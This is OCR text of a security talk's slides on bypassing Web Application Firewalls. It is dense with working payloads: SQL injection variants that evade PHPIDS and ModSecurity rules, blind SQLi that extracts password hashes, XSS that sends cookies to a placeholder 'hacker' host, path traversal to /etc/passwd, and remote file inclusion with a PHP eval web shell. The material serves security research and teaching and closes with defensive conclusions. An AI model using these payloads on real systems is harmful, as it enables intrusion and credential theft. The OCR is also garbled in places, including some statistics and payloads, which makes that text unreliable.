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Subjects in Question ‘

Unsafe world of web-applications

I

- What can save us from the threats

i

Il

- Web Application Firewall: what is that and what's

it for?
Methods to bypass a Web Application Firewall

I

I

Practice of bypassing a Web Application Firewall

Real-world example, or why the CC'09 was not

I

cracked

— Conclusions

Il
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Unsafe World of Web-Applications

. . 0
Predictable Resource Location | 22% OWASP Top-10
Brute Force | 19% SANS Top-20
Information Leakage 117%
Insufficient Authentication | 15%
App‘ication I!enti!ication I 1!!!/0
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Web-application security statistics 2008 by Positive Technologies
(Whitebox Sites %) - http://www.ptsecurity.ru/analytics.asp
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Unsafe World of Web-Applications

Information Leakage

HTTP Response Splitting | 36%
Insufficient Authentication |30%
Insufficient Session Expiration ] 19%
Insufficient Transport Protection | 1|7°/o

0% 10% 20% 30% 40% 50% 60% 70%

Web-application security statistics 2008 by WASC
(Whitebox Sites %) - http://www.webappsec.org/projects/statistics/
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Methods to Reduce the Threats '

= Directive approach

o Software Development Life Cycle (SDLC); «paper
security»; organization of high-level processes

il

Detective approach

e Black/white-box testing of functions; fuzzing;
static/dynamic/manual analysis of program code

I

Preventive approach

ru
[

e Intrusion Detection/Prevention Systems (IDS/IPS),
Web Application Firewall (WAF)
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What is WAF

At attack detected!
http://server/?id=6329&print=Y Alarm!!!

»

. WAF Webserver

Y o http:/iserver/?id=5351
| —§
A :

http://server/?id=8234

Data normalization
Decode HTML entities (e.g. &#99;, &quot;, &#xAA;)
Escaped characters (e.g. \t, \001, \xAA, \uAABB)
Null byte string termination

Signature search

/(sel)(ect.+fr)(om)/is
http://server/?id=1+union+select... /(uni)(on.+sel)(ect)/is

http://server/?id="“><script>...

http://server/?id=/../..I..letc/passwd
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Classification

According to the behavior:

e Bridge/Router

e Reverse Proxy

e Built-in

il

According to the protection model:
e Signature-based

il

e Rule-based

According to the response to a "bad” request
e Cleaning of dangerous data

e Blocking the request

e Blocking the attack source
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Methods to Bypass WAF
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Methods to Bypass WAF

——
———
=

Fundamental technology limitations

e Inability to protect a web-application from all possible
vulnerabilities

= General problems

il

I

e When using universal WAF-filters, it is necessary to balance the
filter efficiency and minimization error responses, when valid
traffic is blocked

e Processing of the traffic returned to a client

= Implementation Vulnerabilities

il

I

e Normalization techniques

o Application of new methods of web vulnerability exploitation
(HTTP Parameter Pollution, HTTP Parameter Fragmentation, null-
byte replacement, etc.)
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Methods to Bypass WAF - Fundamental Limitations

|

Weak Password Recovery Validation

J k) # = httpy//seclists.org/fulldisclosure/2000/Aug/0113 . html v | |2 Google

WordPress is a state-of-the-art publishing platform with a focus on aesthetics, web standards, and usability. WordPress is both free 2
priceless at the same time. More simply, WordPress is what you use when you want to work with your blogging software, not fight it.

III. DESCRIPTION

The way Wordpress handle a password reset looks like this: You submit your email adress or username via this form /wp-login php?
action=lostpassword ;
Wordpress send vou a reset confirmation like that via email:

Someone has asked to reset the password for the following site and username_ hittp?/ DOMAIN NAME TLDwordpress
Username: admin
To reset your password visit the following address, otherwise just ignore this email and nothing will happen

‘http:-".-'DD}IAfN_NA\fE_TlD.-"wordpress-"wp—logjn_php?acﬁGHer&key:o?naCKN?rDerZK.va’v’[sag " |

You click on the link_ and then Wordpress reset your admin password, and sends you over another email with your new credentials.

IMPACT: An attacker could exploit this vulnerability to compromise the admin account of any

wordpress/wordpress-mu <= 2.8.3
http://seclists.org/fulldisclosure/2009/Aug/0113.html
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Practice of Bypassing WAF. Chapter I

SQL Injection

WASC: http://projects.webappsec.org/SQL-Injection
OWASP: http://www.owasp.org/index.php/SQL_Injection
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SQL Injection — Basic Concepts

There are two types of SQL Injection

e SQL Injection into a string parameter
Example: SELECT * from table where name = 'Name'

e SQL Injection into a numeric parameter
Example: SELECT * from table where id = 123

Exploitation of SQL Injection vulnerabilities is divided into classes
according to the DBMS type and injection conditions

I

e A vulnerable request can get into Insert, Update, Delete, etc.
Example: UPDATE users SET pass = '1' where user = 't1' OR 1=1--'

e Blind SQL Injection
Example: select * from table where id = 1 AND

if((ascii(lower(substring((select
user()),%$i,1))))!=%$s,1,benchmark(2000000,md5(now())))

o Exploitation features for various DBMSs
Example: (MySQL): SELECT * from table where id = 1 union select 1,2,3
Example: (PostgreSQL): SELECT * from table where id = 1; select 1,2,3
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Practice of Bypassing WAF: SQL Injection -
Normalization

= Example (1) of a vulnerability in the function of request
normalization

e The following request doesn’t allow anyone to conduct an attack
/?2id=14+union+select+1,2,3/*

e If there is a corresponding vulnerability in the WAF, this request
will be successfully performed

/?2id=1/*union* /union/ *select*/select+1,2,3/*
o After being processed by WAF, the request will become

index.php?id=1/*uni X on* /union/*sel X ect*/select+1,2,3/*

= The given example works in case of cleaning of dangerous
traffic, not in case of blocking the entire request or the
attack source
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Normalization

attack

Practice of Bypassing WAF: SQL Injection -

Example (2) of a vulnerability in the function of request normalization

e Similarly, the following request doesn’t allow anyone to conduct an
/?id=1+union+select+1,2,3/*
be successfully performed

i

e The SQL request will become

i

o If there is a corresponding vulnerability in the WAF, this request will
/?id=1+4+un/** /ijon+sel/**/ect+1,2,3--

SELECT * from table where id =1 union select 1,2,3--
can be used (e.g., #####, %00)

FOSITIVE TECHMNMOLOGIES

Instead of construction /**/, any symbol sequence that WAF cuts off

The given example works in case of excessive cleaning of incoming data
(replacement of a regular expression with the empty string)




Practice of Bypassing WAF: SQL Injection — HPP ‘
(example 1)

= Using HTTP Parameter Pollution (HPP)
e The following request doesn’t allow anyone to conduct an attack
/?id=1;select+1,2,3+from+users+where+id=1--
e This request will be successfully performed using HPP

/?id=1;select+1&id=2,3+from+users+where+id=1--

i

Successful conduction of an HPP attack bypassing WAF
depends on the environment of the application being
attacked

i

OWASP EUO09 Luca Carettoni, Stefano diPaola
http://www.owasp.org/images/b/ba/AppsecEU09_Caretto
niDiPaola_v0.8.pdf
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Practice of Bypassing WAF: SQL Injection — HPP '

= How does it work?

http://mySecureApp/db.cgi?par=<Payload_1>&par=<Payload_2>

p

par=<Payload_1>~~<Payload_2>
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Practice of Bypassing WAF: SQL Injection - HPP

Technology/Environment

Parameter Interpretation

Example

ASP.NET/IIS

Concatenation by comma

parl=vall,val2

ASP/IIS Concatenation by comma parl=vall,val2
PHP/APACHE The last parameter is resulting parl=val2
PHP/Zeus The last parameter is resulting parl=val2
JSP, Servlet/Apache Tomcat The first parameter is resulting parl=vall
JSP,Servlet/Oracle Application Server 10g The first parameter is resulting parl=vall
JSP,Servlet/Jetty The first parameter is resulting parl=vall
IBM Lotus Domino The first parameter is resulting parl=vall
IBM HTTP Server The last parameter is resulting parl=val2
mod_perl,libapeq2/Apache The first parameter is resulting parl=vall
Perl CGI/Apache The first parameter is resulting parl=vall
mod_perl,lib???/Apache The first parameter is resulting parl=vall
mod_wsgi (Python)/Apache An array is returned ARRAY(0x8b9058c)
Pythin/Zope The first parameter is resulting parl=vall
IceWarp An array is returned ['vall','val2']
AXIS 2400 The last parameter is resulting parl=val2

Linksys Wireless-G PTZ Internet Camera
Ricoh Aficio 1022 Printer
webcamXP Pro

DBMan
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Concatenation by comma
The last parameter is resulting
The first parameter is resulting

Concatenation by two tildes

parl=vall,val2
parl=val2
parl=vall

parl=vall~~val2




Practice of Bypassing WAF: SQL Injection — HPP ‘
(example 2)

= Using HTTP Parameter Pollution (HPP)
e Vulnerable code
SQL="select key from table where id="+Request.QueryString("id")
e This request is successfully performed using the HPP technique

/?id=1/**/union/*&id=*/select/ *&id=*/pwd/ *&id=*/from/ * &i
=*/users

e The SQL request becomes

select key from table where
id=1/**/union/*, * /select/*,*/pwd/*,* /from/*, * fusers

= Lavakumar Kuppan,
http://lavakumar.com/Split_and_Join.pdf
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Practice of Bypassing WAF: SQL Injection — HPF

Il

Using HTTP Parameter Fragmentation (HPF)
e Vulnerable code example
Query("select * from table where a=".$_GET['a']." and b=".$_GET['b']);

Query("select * from table where a=".$_GET['a']." and b=".$_GET['b']." limit
".$_GET['c']);

e The following request doesn’t allow anyone to conduct an attack
/?2a=1+union+select+1,2/*

e These requests may be successfully performed using HPF
/?2a=1+union/*&b=%*/select+1,2
/?a=1+union/*&b=%*/select+1,pass/*&c=*/from+users--

e The SQL requests become

select * from table where a=1 union/* and b=*/select 1,2

select * from table where a=1 union/* and b=%*/select 1,pass/* limit */from users--

=  http://www.webappsec.org/lists/websecurity/archive/2009-
08/ msg00080.html
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Using logical requests AND/OR

WAFs

Practice of Bypassing WAF: Blind SQL Injection

il

/?id=1+0OR+0x50=0x50

I

e The following requests allow one to conduct a successful attack for many
equality one -

synonyms

/?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74
Negation and inequality signs (1=, <>, <, >) can be used instead of the

substring() -> mid(), substr(), etc
ascii() -> hex(), bin(), etc

benchmark() -> sleep()

It becomes possible to exploit the vulnerability with the method of blind-SQL
Injection by replacing SQL functions that get to WAF signhatures with their

many web-applications as possible

The given example is valid for all WAFs whose developers aim to cover as
FOSITIVE TECHMOLDGES
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Practice of Bypassing WAF: Blind SQL Injection

Wide variety of logical requests

and 1

or1l

and 1=1

and 2<3

and 'a'='a’

and 'a'<>'b’
and char(32)=""
and 3<=2

and 5<=>4

and 5<=>5

and 5 is null

or 5 is not null
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Practice of Bypassing WAF: Blind SQL Injection

i

l
I

An example of various request notations with the same meaning
select user from mysql.user where user = 'user' OR mid(password,1,1)="*'
select user from mysql.user where user = 'user' OR mid(password,1,1)=0x2a

'user' OR mid(password,1,1)=unhex('2a’')

select user from mysql.user where user
select user from mysql.user where user = 'user' OR mid(password,1,1) regexp '[*]'

select user from mysql.user where user = 'user' OR mid(password,1,1) like "*'

select user from mysql.user where user = 'user' OR mid(password,1,1) rlike '[ *]'

select user from mysql.user where user = 'user' OR ord(mid(password,1,1))=42

select user from mysql.user where user = 'user' OR ascii(mid(password,1,1))=42

select user from mysql.user where user = 'user' OR find_in_set('2a',hex(mid(password,1,1)))=1
select user from mysql.user where user = 'user' OR position(0x2a in password)=1

select user from mysql.user where user = 'user' OR locate(0x2a,password)=1

select user from mysql.user where user = 'user' OR substr(password,1,1)=0x2a

select user from mysql.user where user = 'user' OR substring(password,1,1)=0x2a
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Practice of Bypassing WAF: Blind SQL Injection

= Known:

f

substring((select 'password’),1,1) = 0x70
substr((select 'password’),1,1) = 0x70

mid((select '‘password’),1,1) = 0x70

strcmp(left('password’,1), 0x69) = 1
strcmp(left('password’,1), 0x70) = 0

strcmp(left('password’,1), 0x71) = -1

STRCMP(exprl,expr2) returns 0O if the strings are the same, -1 if the first
argument is smaller than the second one, and 1 otherwise

http://dev.mysql.com/doc/refman/5.0/en/string-comparison-
functions.html
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Practice of Bypassing WAF: Blind SQL Injection

Blind SQL Injection doesn’t always imply use of AND/OR!

[
f

i

e Vulnerable code examples
Query("select * from table where uid=".$_GET['uid']);

Query("select * from table where card=".$_GET['card']);

e Exploitation examples
false: index.php?uid=strcmp(left((select+hash+from+users+limit+0,1),1),0x42)%2B112233
false: index.php?uid=strcmp(left((select+hash+from+users+limit+0,1),1),0x61)%2B112233

true: index.php?uid=strcmp(left((select+hash+from+users+limit+0,1),1),0x62)%2B112233

first hash character = B

false: ...

false: index.php?uid=strcmp(left((select/**/hash/** /from/** /users/** /limit/**/0,1),2),0x6240)%2B112233
true: index.php?uid=strcmp(left((select/** /hash/** /from/** /users/** /limit/**/0,1),2),0x6241)%2B112233

second hash character = A

hazh
p bad6331bhcdVh0EZcE3d5f3d0dbE2091 4
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Practice of Bypassing WAF: SQL Injection — Signature
Bypass

= An example of signature bypass
e The following request gets to WAF signature
/?id=1+union+(select+1,2+from+users)
e But sometimes, the signatures used can be bypassed
/?id=1+union+(select+'xz'from+xxx)
/?id=(1)union(select(1),mid(hash,1,32)from(users))
/?id=1+union+(select'l’,concat(login,hash)from+users)
/2id=(1)union(((((((select(1),hex(hash)from(users))))))))

/?id=(1)or(0x50=0x50)
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Practice of Bypassing WAF: SQL Injection — Signature
Bypass

=  PHPIDS (0.6.1.1) - default rules
Forbid: /?id=1+union+select+user,password+from+mysql.user+where+user=1

But allows: /?id=1+union+select+user,password+from+mysql.user+limit+0,1

Forbid: /?id=1+0OR+1=1

But allows: /?id=1+0OR+0x50=0x50

Forbid: /?id=substring((1),1,1)

But allows: /?id=mid((1),1,1)
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Practice of Bypassing WAF: SQL Injection — Signature
Bypass

=  Mod_Security (2.5.9) - default rules

Forbid:
/?id=1+and+ascii(lower(substring((select+pwd+from+users+limit+1,1),1,1)))=74

But allows:
/?id=1+and+ascii(lower(mid((select+pwd+from+users+Ilimit+1,1),1,1)))=74

Forbid: /?id=1+0OR+1=1
But allows: /?id=1+0OR+0x50=0x50
Forbid: /?id=1+and+5=6

But allows: /?id=1+and+5!=6

Forbid: /?id=1;drop members
But allows: /?id=1;delete members

And allows: /?id=(1);exec('sel'+'ect(1)'+',(xxx)from'+'yyy")
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Conclusions: Chapter I - SQL Injection

= An SQL Injection attack can successfully bypass the WAF
and be conducted in all following cases:

e Vulnerabilities in the functions of WAF request

normalization
e Application of HPP and HPF techniques
e Bypassing filter rules (signatures)

e Vulnerability exploitation by the method of blind SQL

Injection

o Attacking the application operating logics (and/or)
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Practice of Bypassing WAF. Chapter 11

Cross-site Scripting (XSS)

The Cheat Sheet: http://I

WASC: http://projects.webappsec.org/f/ScriptMapping_Release_26Nov2007.html
OWASP: http://www.owasp.org/index.php/Cross-Site_Scripting
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Cross-Site Scripting — Basic Concepts

——
E————
=

There are two types Cross-Site Scripting (XSS):
e persistent/stored
e non-persistent/reflected

il

Cross-Site Scripting vulnerabilities typically occur in:
e HTML tags

the body of JavaScript/VBScript/etc. (e.g. DOM-based)

HTML code

HTML tag parameters

Java

Flash

I

ru.
[

Cross-Site Scripting is a client-side vulnerability
e Microsoft Internet Explorer 8 XSS filter
e Mozilla NoScript Firefox extension
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Methods to Bypass WAF - Cross-Site Scripting

= General issues

e Stored XSS

If an attacker managed to push XSS through the filter, WAF
wouldn’t be able to prevent the attack conduction

e Reflected XSS in Javascript
Example: <script> ... setTimeout(\"writetitle()\",$_GET[xss]) ... </script>
Exploitation: /?xss=500); alert(document.cookie);//

e DOM-based XSS
Example: <script> ... eval($_GET[xss]); ... </script>
Exploitation: /?xss=document.cookie

= Similar problems take place in the filters that protect
systems from XSS at the client-side level (e.g., IE8)
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Practice of Bypassing WAF: Cross-Site Scripting

il

= XSS via request redirection
e Vulnerable code:

f

header('Location: '.$_GET['param’]);
As well as:

header('Refresh: 0; URL=".$_GET['param’]);

e This request will not pass through the WAF:
/?param=javascript:alert(document.cookie)

e This request will pass through the WAF and an XSS attack will be
conducted in certain browsers (Opera, Safary, Chrom, etc.):

/?param=data:text/html;base64,PHNjcmiwdD5hbGVydCgnWFNTJyk8L3Njc
mliwdD4=

if

http://websecurity.com.ua/3386/;
http://www.webappsec.org/lists/websecurity/archive/2009-
08/msg00116.html
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Practice of Bypassing WAF: Cross-Site Scripting

i

Application of HPP and HPF sometimes allows one to bypass

the filters
Filter rule bypass demonstrated for ModSecurity:

i

<img src="x:alert" onerror="eval(src%2b'(0)"')">

"rdocument.write('<img
sr'%2b'c=http://hacker/x.png?'%2bdocument['cookie']%2b'>");"

BlackHat USAO09 Eduardo Vela, David Lindsay
http://www.blackhat.com/presentations/bh-usa-
09/VELANAVA/BHUSAQ09-VelaNava-FavoriteXSS-SLIDES.pdf

i
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Conclusions: Chapter II - Cross-Site Scripting

= A Cross-Site Scripting attack can successfully bypass the
WAF and be conducted in all following cases:

o Exploitation of DOM-based XSS
e Using HPP and HPF techniques

e Similarly to exploitation of SQL Injection vulnerabilities -
bypassing filter rules (signatures) and using vulnerabilities
in the functions of WAF request normalization
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Practice of Bypassing WAF. Chapter III

Path Traversal, Local/Remote File Inclusion

2:2:bin:[bin:;‘bir
s }b'm/fa\se ma!

. o
-s:!:jbtn!fa\se bin:

10: fusrfgames:; ;
O.g?mgff%{;oé/man:[bu.n,ffa\_sefm\asv; i
.v' +13¢ roxy:[bm:[bm/a —
kgl _.'NaHMﬂm

'\ o fhin ff2) '
WASC: http://projects.webappsec.org/

OWASP: http://www.owasp.org/index.php/
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Path Traversal, L/RFI- Basic concepts

_—
E————
—

An example of Path Traversal Vulnerability
e Program logics:
<? include($_GET[ 'file'].".txt") ; ?>
index.php?file=myfile
o Exploitation example:
index.php?file=/../../../../../etc/passwd %00

ru
[

il

Risks represented by Local File Inclusion vulnerabilities

e Functions include() and require() regard text as a part of program
code!

Exploitation example:
index.php?file=img/command_shell.jpg%00

il

Appearance of Remote File Inclusion
o If allow_url_fopen & allow_url_include are enabled, then:
index.php?file=http://hacker.host/command_shell
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Practice of bypassing WAF: Path Traversal

= An example of Path Traversal vulnerability
e Program logics:
<? include("./files/".$_GET['file']) ; ?>
e Vulnerability exploitation:
/?id=/union%20select/../../../../ ../ ../ ../ etc/passwd

The request becomes:
<? include("./files//uni X on%20sel X ect/../../../../../../../etc/passwd") ; ?>

= The given example works in case of cleaning the incoming
data and immediate interruption of further signature
validation
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Practice to bypass WAF: Path Traversal and LFI

i

I

I

I

Indeed, it isn’t always possible to bypass the signatures
«../>» and «..\», but is it always necessary?

Example 1. Reading files in the directory one level higher than the
root
e Program logics:
<? include($_GET['file'].".txt") ; ?>
e Vulnerability exploitation:
/?file=secrets/admins.db/./.[N]/./.
/ ?file=secrets/admins.db..[N]..

The vulnerability is based on two features of PHP functions meant
for interacting with the file system:
- Path normalization (odd symbols like «/» and «/.» are removed)
- Path truncation (determined by constant MAX_PATH, which is usually
less than MAX_URI_PATH in WAF)

http://sla.ckers.org/forum/read.php?16,25706,25736#msg-25736;
http://raz0Or.name/articles/null-byte-alternative/
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Practice of bypassing WAF: Path Traversal and LFI

_—
E————
=

Example 2. Execution of commands in server

e Program logics:
<? include($_GET['file'].".txt") ; ?>

e Vulnerability exploitation:
This request will pass through the WAF:
/?file=data:,<?php eval($_REQUEST[cmd]);?>&cmd=phpinfo();

This request will pass through the WAF:
/?file=data:;base64,PD9waHAgZXZhbCgkX1JFUVVFU1RbY21kXSk
7ID8% 2b&cmd=phpinfo();

The vulnerability is based on a feature of PHP interpreter
(allow_url_fopen & allow_url_include must be enabled)

i

Reference: collaborative intelligence of antichat.ru

i
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Practice of bypassing WAF: Remote File Inclusion

——
E————
—

Fundamental limitations of WAF (a universal filter will block
valid requests!)

il

Examples of valid requests in the logics of large web
resources:

HTTP request redirection:

e http://www.securitylab.ru/exturl.php?goto=http://ya.ru
e http://rbc.ru/cgi-bin/redirect.cgi?http://top.rbc.ru

e http://www.google.com/url?url=http://ya.ru

e http://vkontakte.ru/away.php?to=http://ya.ru

An ordinary article in Wiki:
e http://en.wikipedia.org/wiki/Http://www.google.com

Online translator:
e http://translate.google.ru/translate?hl=en&sl=ru&u=http://ya.ru
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Conclusions: Chapter III - Path Traversal, L/RFI

= Path Traversal and L/RFI attacks can bypass the WAF
and be successfully conducted in all following cases:

e Fundamental problems (RFI)

o Similarly to the previous two chapters - bypassing filter
rules (signatures) and using vulnerabilities in the functions
of WAF request normalization
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Real-World Example, or Why the CC'09 was not Cracked

HOBOCTH O ®ECTMBAJIE KOHKYPCbl CE!

[+]1 Brute & synhnl...
[+] Brute 7 symhol...

a
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AanAaUAY KATANLIS ArTANU 8/ nnnlierce naanahn
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ili'ﬁéﬁﬁé'i synbol. ..

[+] Brute 10 synbol...

033 Brate i3 spmbol. ..

FEESsEEEssEEESEE s

[+] Brute 13 symbol...

[+] finished: ccPlocalhost

..and+if((ascii(lower(mid((select...

=
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Conclusions

I

= WAF is not the long-expected "“silver bullet”

e Because of its functional limitations, WAF is not able to protect a web
application from all possible vulnerabilities

e It is necessary to adapt WAF filters to the particular web application
being protected

I

WAF doesn’t eliminate a vulnerability, it just partly screens the
attack vector

I

Conceptual problems of WAF - application of the signature
principle (is behavioral analysis more promising?)

i

WAF represents a useful tool in the context of implementation
of echelon protection of web-applications

o Blocking the attack vector until a vendor patch is released that
eliminates the vulnerability
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Thank you for your
attention!

devteev@ptsecurity.ru
http://devteev.blogspot.com/
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